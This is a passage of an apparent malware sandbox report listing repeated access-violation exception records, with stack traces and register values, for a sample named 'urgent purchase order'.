GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
